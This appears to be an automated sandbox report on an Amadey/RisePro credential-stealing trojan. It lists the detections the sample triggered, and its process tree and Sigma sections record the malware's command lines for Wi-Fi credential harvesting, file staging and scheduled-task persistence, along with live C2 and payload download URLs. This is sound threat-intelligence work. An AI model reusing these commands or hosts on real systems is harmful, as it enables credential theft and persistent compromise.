Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe
Analysis ID:	1425502
MD5:	f70a70f653ae553a805fd21bc3092b13
SHA1:	095ff30abdfdeaa91018556ab4ec92566ad708d4
SHA256:	1ec09530c1153453b1bd0989af58808bc44e069c4608c878a64530bb08fa8840
Tags:	exe
Infos:

Detection

Amadey, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected RisePro Stealer

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Instant Messenger accounts or passwords

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Sigma detected: Suspicious Add Scheduled Task Parent

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe (PID: 6556 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe" MD5: F70A70F653AE553A805FD21BC3092B13)

explorha.exe (PID: 3084 cmdline: "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe" MD5: F70A70F653AE553A805FD21BC3092B13)

explorha.exe (PID: 7064 cmdline: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe MD5: F70A70F653AE553A805FD21BC3092B13)

explorha.exe (PID: 2504 cmdline: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe MD5: F70A70F653AE553A805FD21BC3092B13)

rundll32.exe (PID: 6292 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 6356 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 6480 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 6640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6576 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 5952 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

ad0e9cf6d6.exe (PID: 5904 cmdline: "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe" MD5: C9C09952C1C03B2FE8FFB27EEA781AC5)

schtasks.exe (PID: 2136 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2848 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorha.exe (PID: 5124 cmdline: "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe" MD5: F70A70F653AE553A805FD21BC3092B13)

amert.exe (PID: 6020 cmdline: "C:\Users\user\AppData\Local\Temp\1000049001\amert.exe" MD5: 14A7790619E67FB66BB29AD3A979C36B)

MPGPH131.exe (PID: 2252 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: C9C09952C1C03B2FE8FFB27EEA781AC5)

MPGPH131.exe (PID: 5796 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: C9C09952C1C03B2FE8FFB27EEA781AC5)

ad0e9cf6d6.exe (PID: 7008 cmdline: "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe" MD5: C9C09952C1C03B2FE8FFB27EEA781AC5)

explorgu.exe (PID: 6336 cmdline: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe MD5: 14A7790619E67FB66BB29AD3A979C36B)

RageMP131.exe (PID: 6888 cmdline: "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe" MD5: C9C09952C1C03B2FE8FFB27EEA781AC5)

ad0e9cf6d6.exe (PID: 6052 cmdline: "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe" MD5: C9C09952C1C03B2FE8FFB27EEA781AC5)

RageMP131.exe (PID: 3176 cmdline: "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe" MD5: C9C09952C1C03B2FE8FFB27EEA781AC5)

explorgu.exe (PID: 4564 cmdline: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe MD5: 14A7790619E67FB66BB29AD3A979C36B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": ["193.233.132.56/Pneh2sXQk0/index.php"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
0000001D.00000003.2889754714.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000003.2562352728.0000000004920000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2899511665.000000000152E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001C.00000003.2754517007.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000013.00000003.2438871880.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2891590864.0000000000481000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2890860265.0000000000101000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000016.00000002.2890561636.0000000000101000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000002.1732891922.0000000000B01000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.2898506799.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000003.1645556467.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.2440483320.0000000004E50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000019.00000002.2602620211.0000000000161000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2890551485.0000000000161000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2578285726.00000000056F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000016.00000003.2495106365.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000013.00000002.2890551261.00000000009A1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001B.00000002.2890560740.0000000000101000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000E.00000003.2393485516.0000000005340000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000006.00000003.2294672609.0000000004700000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2890907498.0000000000E31000.00000040.00000001.01000000.00000013.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000018.00000003.2530989609.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1690165240.0000000004C80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2897232652.000000006E5B1000.00000020.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1706644741.0000000004C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2571487121.00000000004A1000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2670876049.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000014.00000002.2891741375.00000000009A1000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: ad0e9cf6d6.exe PID: 5904	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 2252	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 5796	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: ad0e9cf6d6.exe PID: 7008	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: RageMP131.exe PID: 6888	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: ad0e9cf6d6.exe PID: 6052	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: RageMP131.exe PID: 3176	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author
13.2.rundll32.exe.6e5b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.rundll32.exe.6e5b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
25.2.explorgu.exe.160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.amert.exe.4a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
29.2.explorgu.exe.160000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe.b00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.explorha.exe.480000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.explorha.exe.480000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.explorha.exe.480000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe, ProcessId: 2504, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ad0e9cf6d6.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6356, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 6576, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe, ProcessId: 2504, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ad0e9cf6d6.exe

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6356, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 6576, ProcessName: powershell.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000042001\ad0e9cf6d6.exe, ParentProcessId: 5904, ParentProcessName: ad0e9cf6d6.exe, ProcessCommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, ProcessId: 2136, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6356, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 6576, ProcessName: powershell.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6356, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 6480, ProcessName: netsh.exe

Snort Signatures

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/13/24-20:21:05.168434
SID:	2856147
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Amadey Stealer Activity M4 (POST) - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/13/24-20:21:09.647703
SID:	2855239
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/13/24-20:21:18.885194
SID:	2044696
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 193.233.132.56 - Destination IP: 192.168.2.4

Timestamp:	04/13/24-20:21:05.916433
SID:	2856122
Source Port:	80
Destination Port:	49737
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Activity) - Source IP: 192.168.2.4 - Destination IP: 147.45.47.93

Timestamp:	04/13/24-20:21:18.809875
SID:	2046269
Source Port:	49745
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.4

Timestamp:	04/13/24-20:21:19.031733
SID:	2046266
Source Port:	58709
Destination Port:	49747
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.4 - Destination IP: 147.45.47.93

Timestamp:	04/13/24-20:21:15.412762
SID:	2049060
Source Port:	49745
Destination Port:	58709
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/13/24-20:21:11.547195
SID:	2044696
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.4

Timestamp:	04/13/24-20:21:15.693405
SID:	2046266
Source Port:	58709
Destination Port:	49745
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M7 - Source IP: 192.168.2.4 - Destination IP: 193.233.132.56

Timestamp:	04/13/24-20:21:10.757670
SID:	2856151
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (Token) - Source IP: 147.45.47.93 - Destination IP: 192.168.2.4

Timestamp:	04/13/24-20:21:18.845614
SID:	2046266
Source Port:	58709
Destination Port:	49746
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://193.233.132.167/mine/amert.exeQ	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/mine/random.exeu	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/lend/alexxxxxxxx.exe	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/mine/random.exeo	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/cost/random.exe	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/cost/sarra.exe	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/mine/random.exe5e67ee	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/mine/random.exe	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/mine/random.exe5e67ee8	Avira URL Cloud: Label: malware
Source: http://193.233.132.167/mine/amert.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\00c07260dc\explorgu.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Avira: detection malicious, Label: TR/ClipBanker.pjgxt
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Avira: detection malicious, Label: TR/PSW.Agent.szlsq
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\amert[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	Avira: detection malicious, Label: TR/ClipBanker.pjgxt
Source: C:\Users\user\AppData\Local\Temp\1000049001\amert.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Avira: detection malicious, Label: TR/PSW.Agent.szlsq

Found malware configuration

Source: 13.2.rundll32.exe.6e5b0000.0.unpack

Malware Configuration Extractor: Amadey {"C2 url": ["193.233.132.56/Pneh2sXQk0/index.php"]}

Multi AV Scanner detection for domain / URL

Source: http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dll	Virustotal: Detection: 20%	Perma Link
Source: http://193.233.132.56/	Virustotal: Detection: 18%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/Plugins/clip64.dllh	Virustotal: Detection: 15%	Perma Link
Source: http://193.233.132.167/cost/random.exe	Virustotal: Detection: 26%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.phpll32.dll	Virustotal: Detection: 19%	Perma Link
Source: http://193.233.132.167/lend/alexxxxxxxx.exe	Virustotal: Detection: 26%	Perma Link
Source: http://193.233.132.167/cost/sarra.exe	Virustotal: Detection: 26%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/Plugins/cred64.dll	Virustotal: Detection: 21%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.php	Virustotal: Detection: 20%	Perma Link
Source: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1=1	Virustotal: Detection: 19%	Perma Link
